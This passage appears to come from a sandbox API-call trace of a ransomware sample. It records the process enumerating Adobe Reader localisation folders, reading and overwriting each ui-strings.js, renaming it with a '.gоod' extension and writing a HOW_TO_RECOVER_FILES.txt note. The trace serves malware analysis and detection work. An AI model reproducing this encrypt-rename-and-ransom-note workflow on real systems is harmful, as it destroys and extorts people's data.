hTemplateFile=0x0) returned 0x808 [0265.668] GetFileType (hFile=0x808) returned 0x1 [0265.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0265.668] GetFileType (hFile=0x808) returned 0x1 [0265.769] WriteFile (in: hFile=0x808, lpBuffer=0x385f860*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x385f860*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0265.769] CloseHandle (hObject=0x808) returned 1 [0265.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0265.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br", lpFilePart=0x0) returned 0x77 [0265.770] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0265.770] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.771] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.771] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0265.771] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0265.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0265.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0265.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0265.771] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br", lpFilePart=0x0) returned 0x77 [0265.771] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0265.771] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.772] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.772] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.772] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0265.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0265.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0265.772] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0265.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0265.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x387a200 | out: lpFileInformation=0x387a200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55b)) returned 1 [0265.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0265.772] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0265.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0265.773] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0265.773] GetFileType (hFile=0x808) returned 0x1 [0265.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0265.773] GetFileType (hFile=0x808) returned 0x1 [0265.773] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x55b [0265.773] ReadFile (in: hFile=0x808, lpBuffer=0x387ab08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x387ab08*, lpNumberOfBytesRead=0x1f9ee638*=0x55b, lpOverlapped=0x0) returned 1 [0265.909] CloseHandle (hObject=0x808) returned 1 [0265.937] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0265.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0265.937] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0265.938] GetFileType (hFile=0x808) returned 0x1 [0265.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0265.938] GetFileType (hFile=0x808) returned 0x1 [0265.938] WriteFile (in: hFile=0x808, lpBuffer=0x3947ec0*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x3947ec0*, lpNumberOfBytesWritten=0x1f9ee548*=0x560, lpOverlapped=0x0) returned 1 [0265.939] CloseHandle (hObject=0x808) returned 1 [0265.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0265.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0265.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0265.939] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9ab9aa20, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x560)) returned 1 [0265.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0265.939] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\ui-strings.js.gоod")) returned 1 [0265.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0265.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0265.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0266.156] GetFileType (hFile=0x8a8) returned 0x1 [0266.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0266.156] GetFileType (hFile=0x8a8) returned 0x1 [0266.585] WriteFile (in: hFile=0x8a8, lpBuffer=0x3ab1460*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3ab1460*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0266.586] CloseHandle (hObject=0x8a8) returned 1 [0266.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0266.586] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro", lpFilePart=0x0) returned 0x77 [0266.586] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0266.587] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.587] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.587] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0266.588] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0266.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0266.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0266.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0266.588] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro", lpFilePart=0x0) returned 0x77 [0266.588] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0266.588] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.588] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.588] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.589] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0266.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0266.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0266.589] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0266.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0266.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3ac2870 | out: lpFileInformation=0x3ac2870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e)) returned 1 [0266.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0266.589] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0266.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0266.589] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0266.589] GetFileType (hFile=0x8a8) returned 0x1 [0266.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0266.589] GetFileType (hFile=0x8a8) returned 0x1 [0266.590] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x56e [0266.590] ReadFile (in: hFile=0x8a8, lpBuffer=0x3ac3188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x3ac3188*, lpNumberOfBytesRead=0x1f9ee638*=0x56e, lpOverlapped=0x0) returned 1 [0266.591] CloseHandle (hObject=0x8a8) returned 1 [0266.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0266.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0266.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0266.945] GetFileType (hFile=0x768) returned 0x1 [0266.946] SetThreadErrorMode (dwNewMode=0x0, 